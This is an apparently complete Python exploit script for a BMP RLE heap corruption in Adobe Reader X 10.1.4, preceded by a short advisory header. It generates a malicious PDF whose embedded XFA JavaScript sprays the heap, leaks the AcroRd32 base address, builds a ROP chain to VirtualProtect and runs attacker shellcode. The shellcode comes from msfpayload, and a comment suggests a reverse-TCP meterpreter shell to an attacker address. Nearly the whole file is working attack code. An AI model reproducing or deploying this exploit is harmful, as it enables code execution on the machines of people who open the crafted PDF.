''' Title: Adobe Reader X BMP/RLE heap corruption Product: Adobe Reader X Version: 10.x Product Homepage: adobe.com Binary affected: AcroForm.api Binary Version: 10.1.4.38 Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841 Configuration Requirements ----------------------------------------- Default configuration. Vulnerability Requirements ----------------------------------------- None. Vulnerability Description ----------------------------------------- Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. Vulnerability WorkAround (if possible) ----------------------------------------- Delete AcroForm.api ''' from hashlib import md5 import sys, struct ######### Begin of the miniPDF import zlib #For constructing a minimal pdf file ## PDF REference 3rd edition:: 3.2 Objects class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise Exception("Fail") ## PDF REference 3rd edition:: 3.2.1 Booleans Objects class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" ## PDF REference 3rd edition:: 3.2.2 Numeric Objects class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" ## A convenient type of literal Strings class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.4 Name Objects class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s ## PDF REference 3rd edition:: 3.2.5 Array Objects class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) assert type(s) == type([]) self.s=s def append(self,o): self.s.append(o) return self def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects class PDFDict(PDFObject): def __init__(self, d={}): PDFObject.__init__(self) self.dict = {} for k in d: self.dict[k]=d[k] def __iter__(self): for k in self.dict.keys(): yield k def __iterkeys__(self): for k in self.dict.keys(): yield k def __getitem__(self, key): return self.dict[key] def add(self,name,obj): self.dict[name] = obj def get(self,name): if name in self.dict.keys(): return self.dict[name] else: return None def __str__(self): s="<<" for name in self.dict: s+="%s %s "%(PDFName(name),self.dict[name]) s+=">>" return s ## PDF REference 3rd edition:: 3.2.7 Stream Objects class PDFStream(PDFDict): def __init__(self,d={},stream=""): PDFDict.__init__(self,d) self.stream=stream self.filtered=self.stream self.add('Length', len(stream)) self.filters = [] def appendFilter(self, filter): self.filters.append(filter) self._applyFilters() #yeah every time .. so what! def _applyFilters(self): self.filtered = self.stream for f in self.filters: self.filtered = f.encode(self.filtered) if len(self.filters)>0: self.add('Length', len(self.filtered)) self.add('Filter', PDFArray([f.name for f in self.filters])) #Add Filter parameters ? def __str__(self): self._applyFilters() #yeah every time .. so what! s="" s+=PDFDict.__str__(self) s+="\nstream\n" s+=self.filtered s+="\nendstream" return s ## PDF REference 3rd edition:: 3.2.8 Null Object class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" ## PDF REference 3rd edition:: 3.2.9 Indirect Objects class UnResolved(PDFObject): def __init__(self,n,v): PDFObject.__init__(self) self.n=n self.v=v def __str__(self): return "UNRESOLVED(%d %d)"%(self.n,self.v) class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): if len(self.obj)==0: return "null" return "%d %d R"%(self.obj[0].n,self.obj[0].v) ## PDF REference 3rd edition:: 3.3 Filters ## Example Filter... class FlateDecode: name = PDFName('FlateDecode') def __init__(self): pass def encode(self,stream): return zlib.compress(stream) def decode(self,stream): return zlib.decompress(stream) ## PDF REference 3rd edition:: 3.4 File Structure ## Simplest file structure... class PDFDoc(): def __init__(self,obfuscate=0): self.objs=[] self.info=None self.root=None def setRoot(self,root): self.root=root def setInfo(self,info): self.info=info def _add(self,obj): if obj.v!=None or obj.n!=None: raise Exception("Already added!!!") obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f \n" for xr in xref.keys(): doc1+= "%010d %05d n \n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)+1) if self.root == None: raise Exception("Root not set!") trailer.add("Root",PDFRef(self.root)) if self.info: trailer.add("Info",PDFRef(self.info)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" return doc1 ######### End of miniPDF SLIDESIZE=0x12C def mkBMP(payload, exception=True): bmp = '' #getInfoHeader bfType = 0x4d42 assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp bmp += struct.pack('<H', bfType) bfSize = 0 bfOffBits = 0 bmp += struct.pack('<L', bfSize) bmp += struct.pack('<H', 0) #Reserved1 bmp += struct.pack('<H', 0) #Reserved2 bmp += struct.pack('<L', bfOffBits) biSize = 0x40 assert not biSize in [0x12] bmp += struct.pack('<L', biSize) biHeight = 1 biWidth = SLIDESIZE #size of texture structure LFH enabled biPlanes = 1 biBitCount = 8 biCompression = 1 biSizeImage = 0 biXPelsPerMeter = 0 biYPelsPerMeter = 0 biClrUsed = 2 if biClrUsed >0xff: raise "BUG!!!!" biClrImportant = 0 bmp += struct.pack('<L', biWidth) bmp += struct.pack('<L', biHeight) bmp += struct.pack('<H', biPlanes) bmp += struct.pack('<H', biBitCount) bmp += struct.pack('<L', biCompression) bmp += struct.pack('<L', biSizeImage) bmp += struct.pack('<L', biXPelsPerMeter) bmp += struct.pack('<L', biYPelsPerMeter) bmp += struct.pack('<L', biClrUsed) bmp += struct.pack('<L', biClrImportant) bmp += 'A'*(biSize-0x40) #pad numColors=biClrUsed if biClrUsed == 0 or biBitCount < 8: numColors = 1<<biBitCount; bmp += 'RGBA'*(numColors) #pallete bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff) #while (len(bmp)+10)%0x400 != 0: # bmp += '\x00\x02\x00\x00' assert len(payload) < 0x100 and len(payload) >= 3 bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' bmp += '\x00'+chr(len(payload))+payload if len(payload)&1 : bmp += 'P' if exception: bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception bmp += '\x00'+chr(10)+'X'*10 else: bmp += '\x00\x01' #'\x04X'*(biWidth+2000)+"\x00\x02" return bmp def UEncode(s): r = '' s += '\x00'*(len(s)%2) for i in range(0,len(s),2): r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0]) return r r = '' for c in s: r+= '%%%02x'%ord(c) return r def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'): xdp = ''' <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7"> <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/"> <?formServer defaultPDFRenderFormat acrobat9.1static?> <?formServer allowRenderCaching 0?> <?formServer formModel both?> <subform name="form1" layout="tb" locale="en_US" restoreState="auto"> <pageSet> <pageArea name="Page1" id="Page1"> <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/> <medium stock="default" short="612pt" long="792pt"/> <?templateDesigner expand 1?> </pageArea> <?templateDesigner expand 1?> </pageSet> <variables> <script name="util" contentType="application/x-javascript"> // Convenience functions to pack and unpack litle endian an utf-16 strings function pack(i){ var low = (i & 0xffff); var high = ((i>>16) & 0xffff); return String.fromCharCode(low)+String.fromCharCode(high); } function unpackAt(s, pos){ return s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16); } function packs(s){ result = ""; for (i=0;i<s.length;i+=2) result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8)); return result; } function packh(s){ return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16)); } function packhs(s){ result = ""; for (i=0;i<s.length;i+=4) result += packh(s.slice(i,i+4)); return result; } var verbose = 1; function message(x){ if (util.verbose == 1 ) xfa.host.messageBox(x); } //ROP0 //7201E63D XCHG EAX,ESP //7201E63E RETN //ROP1 //7200100A JMP DWORD PTR DS:[KERNEL32.GetModuleHandle] //ROP2 //7238EF5C PUSH EAX //7238EF5D CALL DWORD PTR DS:[KERNEL32.GetProcAddress] //7238EF63 TEST EAX,EAX //7238EF65 JNE SHORT 7238EF84 //7238EF84 POP EBP //7238EF85 RETN 4 //ROP3 //72001186 JMP EAX ; kernel32.VirtualProtect //ROP4 //72242491 ADD ESP,70 //72242494 RETN var _offsets = {'Reader": { "10.104": { "acrord32": 0xA4, "rop0": 0x1E63D, "rop1": 0x100A, "rop2": 0x38EF5C, "rop3": 0x1186, "rop4": 0x242491, }, "10.105": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, "10.106": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, }, "Exchange-Pro": { "10.105": { // Added by Eddie Mitchell "acrobat": 0xCD, "rop0": 0x3720D, "rop1": 0x100A, "rop2": 0x3DCC91, "rop3": 0x180F, "rop4": 0x25F2A1, }, }, }; function offset(x){ //app.viewerType will be "Reader" for Reader, //"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro try { return _offsets[app.viewerType][app.viewerVersion][x]; } catch (e) { xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!"); } return 0x41414141; } </script> <script name="spray" contentType="application/x-javascript"> // Global variable for spraying var slide_size=%%SLIDESIZE%%; var size = 200; var chunkx = "%%MINICHUNKX%%"; var x = new Array(size); var y = new Array(size); var z = new Array(size); var pointers = new Array(100); var done = 0; </script> <?templateDesigner expand 1?> </variables> <subform w="576pt" h="756pt"> <!-- This image fiel hold the cashing image --> <field name="ImageCrash"> <ui> <imageEdit/> </ui> <value> <image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image> </value> </field> </subform> <event activity="initialize" name="event__initialize"> <script contentType="application/x-javascript"> // This script runs at the very beginning and // is used to prepare the memory layout util.message("Initialize"); var i; var j; if (spray.done == 0){ //Trigger LFH use var TOKEN = "\u5858\u5858\u5678\u1234"; var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2); for (i=0; i < spray.size; i+=1) spray.x[i] = TOKEN + util.pack(i) + spray.chunkx.substring(0, chunk_len) + util.pack(i) + ""; util.message("Initial spray done!"); for (j=0; j < size; j++) for (i=spray.size-1; i > spray.size/4; i-=10) spray.x[i]=null; spray.done = 1; util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } // After this the form layout is rendered and the bug triggered </script> </event> <event activity="docReady" ref="$host" name="event__docReady"> <script contentType="application/x-javascript"> // This script runs once the page is ready util.message("DocReady"); var i; var j; var found = -1; // Index of the overlapped string var acro = 0; // Base of the AcroRd32_dll // Search over all strings for the first one with the broken TOKEN for (i=0; i < spray.size; i+=1) if ((spray.x[i]!=null) && (spray.x[i][0] != "\u5858")){ found = i; acro = (( util.unpackAt(spray.x[i], 14) >> 16) - util.offset("acrord32")) << 16; util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) ); break; } // Behaviour is mostly undefined if not found if (found == -1){ util.message("Corrupted String NOT Found!"); event.target.closeDoc(true); } // Corrupted string was found let's generates the new // string for overlapping the struct before freeing it var chunky = ""; for (i=0; i < 7; i+=1) chunky += util.pack(0x41414141); chunky += util.pack(0x10101000); while (chunky.length < spray.slide_size/2) chunky += util.pack(0x58585858); // Free the overlapping string util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")"); for (j=0; j < 100000; j++) spray.x[found-1]=spray.x[found]=null; // Trigger several allocs that will fall over the structure for (i=0; i < 200; i+=1){ ID = "" + i; spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ ""; } util.message("Allocated 20 chunks-y\\n"); // Heap spraying make's baby jesus cry! // Construct the 0x1000 small chunk for spraying var obj = 0x10101000; var pointer_slide = ""; pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret for (i=0; i < 27; i+=1) pointer_slide += util.pack(0x41414141); obj += pointer_slide.length*2; // ROP pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress pointer_slide += util.pack(obj+0xDC); //@0x08 point to KERNEL32 //@0x10 pointer_slide += util.pack(obj+0xCC); pointer_slide += util.pack(0x43434343); // POPPED TO EBP pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX pointer_slide += util.pack(obj); //Points to offset 0 of this //@0x20 pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(0x1000); //SIZE_T dwSize, pointer_slide += util.pack(0x40); // DWORD flNewProtect, //0x30 pointer_slide += util.pack(obj+0x34); //PDWORD lpflOldProtect pointer_slide += util.pack(0x00000000); //DWORD OldProtect pointer_slide += util.packhs("E9B1000000909090"); //0x40 pointer_slide += util.pack(acro); //Used by next stage pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x50 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x60 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x70 pointer_slide += util.pack(acro); pointer_slide += util.pack(0x48484848); pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x49494949); //0x80 pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x50505050); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0x90 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xa0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xb0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xc0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.packs("VirtualProtect"); //@0xCC pointer_slide += "\u0000"; pointer_slide += "KERNEL32"; pointer_slide += "\u0000"; pointer_slide += "%%SHELLCODE%%"; while (pointer_slide.length < 0x1000/2) pointer_slide += util.pack(0x41414141); pointer_slide = pointer_slide.substring(0,0x1000/2); util.message("Pointer slide size: " + pointer_slide.length); // And now ensure it gets bigger than 0x100000 bytes while (pointer_slide.length < 0x100000/2) pointer_slide += pointer_slide; // And the actual spray for (i=0; i < 100; i+=1) spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + ""; // Everything done here close the doc and // trigger the use of the vtable util.message("Now what?"); var pdfDoc = event.target; pdfDoc.closeDoc(true); </script> </event> </subform> <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?> <?templateDesigner DefaultLanguage JavaScript?> <?templateDesigner DefaultRunAt client?> <?acrobat JavaScript strictScoping?> <?PDFPrintOptions embedViewerPrefs 0?> <?PDFPrintOptions embedPrintOnFormOpen 0?> <?PDFPrintOptions scalingPrefs 0?> <?PDFPrintOptions enforceScalingPrefs 0?> <?PDFPrintOptions paperSource 0?> <?PDFPrintOptions duplexMode 0?> <?templateDesigner DefaultPreviewType interactive?> <?templateDesigner DefaultPreviewPagination simplex?> <?templateDesigner XDPPreviewFormat 19?> <?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner Zoom 119?> <?templateDesigner FormTargetVersion 30?> <?templateDesigner SaveTaggedPDF 1?> <?templateDesigner SavePDFWithEmbeddedFonts 1?> <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template> <config xmlns="http://www.xfa.org/schema/xci/3.0/"> <agent name="designer"> <!-- [0..n] --> <destination>pdf</destination> <pdf> <!-- [0..n] --> <fontInfo/> </pdf> </agent> <present> <!-- [0..n] --> <pdf> <!-- [0..n] --> <version>1.7</version> <adobeExtensionLevel>5</adobeExtensionLevel> </pdf> <common/> <xdp> <packets>*</packets> </xdp> </present> </config> <localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/"> <locale name="en_US" desc="English (United States)"> <calendarSymbols name="gregorian"> <monthNames> <month>January</month> <month>February</month> <month>March</month> <month>April</month> <month>May</month> <month>June</month> <month>July</month> <month>August</month> <month>September</month> <month>October</month> <month>November</month> <month>December</month> </monthNames> <monthNames abbr="1"> <month>Jan</month> <month>Feb</month> <month>Mar</month> <month>Apr</month> <month>May</month> <month>Jun</month> <month>Jul</month> <month>Aug</month> <month>Sep</month> <month>Oct</month> <month>Nov</month> <month>Dec</month> </monthNames> <dayNames> <day>Sunday</day> <day>Monday</day> <day>Tuesday</day> <day>Wednesday</day> <day>Thursday</day> <day>Friday</day> <day>Saturday</day> </dayNames> <dayNames abbr="1"> <day>Sun</day> <day>Mon</day> <day>Tue</day> <day>Wed</day> <day>Thu</day> <day>Fri</day> <day>Sat</day> </dayNames> <meridiemNames> <meridiem>AM</meridiem> <meridiem>PM</meridiem> </meridiemNames> <eraNames> <era>BC</era> <era>AD</era> </eraNames> </calendarSymbols> <datePatterns> <datePattern name="full">EEEE, MMMM D, YYYY</datePattern> <datePattern name="long">MMMM D, YYYY</datePattern> <datePattern name="med">MMM D, YYYY</datePattern> <datePattern name="short">M/D/YY</datePattern> </datePatterns> <timePatterns> <timePattern name="full">h:MM:SS A Z</timePattern> <timePattern name="long">h:MM:SS A Z</timePattern> <timePattern name="med">h:MM:SS A</timePattern> <timePattern name="short">h:MM A</timePattern> </timePatterns> <dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols> <numberPatterns> <numberPattern name="numeric">z,zz9.zzz</numberPattern> <numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern> <numberPattern name="percent">z,zz9%</numberPattern> </numberPatterns> <numberSymbols> <numberSymbol name="decimal">.</numberSymbol> <numberSymbol name="grouping">,</numberSymbol> <numberSymbol name="percent">%</numberSymbol> <numberSymbol name="minus">-</numberSymbol> <numberSymbol name="zero">0</numberSymbol> </numberSymbols> <currencySymbols> <currencySymbol name="symbol">$</currencySymbol> <currencySymbol name="isoname">USD</currencySymbol> <currencySymbol name="decimal">.</currencySymbol> </currencySymbols> <typefaces> <typeface name="Myriad Pro"/> <typeface name="Minion Pro"/> <typeface name="Courier Std"/> <typeface name="Adobe Pi Std"/> <typeface name="Adobe Hebrew"/> <typeface name="Adobe Arabic"/> <typeface name="Adobe Thai"/> <typeface name="Kozuka Gothic Pro-VI M"/> <typeface name="Kozuka Mincho Pro-VI R"/> <typeface name="Adobe Ming Std L"/> <typeface name="Adobe Song Std L"/> <typeface name="Adobe Myungjo Std M"/> </typefaces> </locale> <?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <xfa:data xfa:dataNode="dataGroup"/> </xfa:datasets> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about=""> <xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate> <xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool> <xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate> <xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate> </rdf:Description> <rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about=""> <pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer> </rdf:Description> <rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about=""> <xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID> <xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID> </rdf:Description> <rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about=""> <dc:format>application/pdf</dc:format> </rdf:Description> </rdf:RDF> </x:xmpmeta> <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"> <annots/> </xfdf></xdp:xdp> ''' assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry" #shellcode xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode)) xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE); xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE)) xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64')) #xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64')) file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp) #The document doc = PDFDoc() #font font = PDFDict() font.add("Name", PDFName("F1")) font.add("Subtype", PDFName("Type1")) font.add("BaseFont", PDFName("Helvetica")) #name:font map fontname = PDFDict() fontname.add("F1",font) #resources resources = PDFDict() resources.add("Font",fontname) #contents contentsDict = PDFDict() contents= PDFStream(contentsDict, '''BT /F1 24 Tf 100 100 Td (Pedefe Pedefeito Pedefeon!) Tj ET''') #page page = PDFDict() page.add("Type",PDFName("Page")) page.add("Resources",resources) page.add("Contents", PDFRef(contents)) #pages pages = PDFDict() pages.add("Type", PDFName("Pages")) pages.add("Kids", PDFArray([PDFRef(page)])) pages.add("Count", PDFNum(1)) #add parent reference in page page.add("Parent",PDFRef(pages)) xfa = PDFStream(PDFDict(), xdp) xfa.appendFilter(FlateDecode()) doc.add(xfa) #form form = PDFDict() form.add("XFA", PDFRef(xfa)) doc.add(form) #shellcode2 shellcode2 = PDFStream(PDFDict(), struct.pack("<L",0xcac0face)+"\xcc"*10) doc.add(shellcode2) #catalog catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Pages", PDFRef(pages)) catalog.add("NeedsRendering", "true") catalog.add("AcroForm", PDFRef(form)) adbe = PDFDict() adbe.add("BaseVersion","/1.7") adbe.add("ExtensionLevel",PDFNum(3)) extensions = PDFDict() extensions.add("ADBE", adbe) catalog.add("Extensions",extensions) doc.add([catalog,pages,page,contents]) doc.setRoot(catalog) #render it return doc.__str__() if __name__ == '__main__': import optparse,os from subprocess import Popen, PIPE parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default="windows/messagebox ", help="Metasploit payload. Ex. 'win32_exec CMD=calc'") parser.add_option('--payload', metavar='PAYLOAD', default=None) parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if options.doc: print __doc__ os.exit(-1) if options.debug: print mkXFAPDF(), os.exit(-1) if options.payload == None: #"windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R" msfpayload = Popen("msfpayload4.4 %s R"%options.msfpayload, shell=True, stdout=PIPE) shellcode = msfpayload.communicate()[0] else: shellcode = file(options.payload, "rb").read() #options.hexpayload.decode('hex') print mkXFAPDF(shellcode),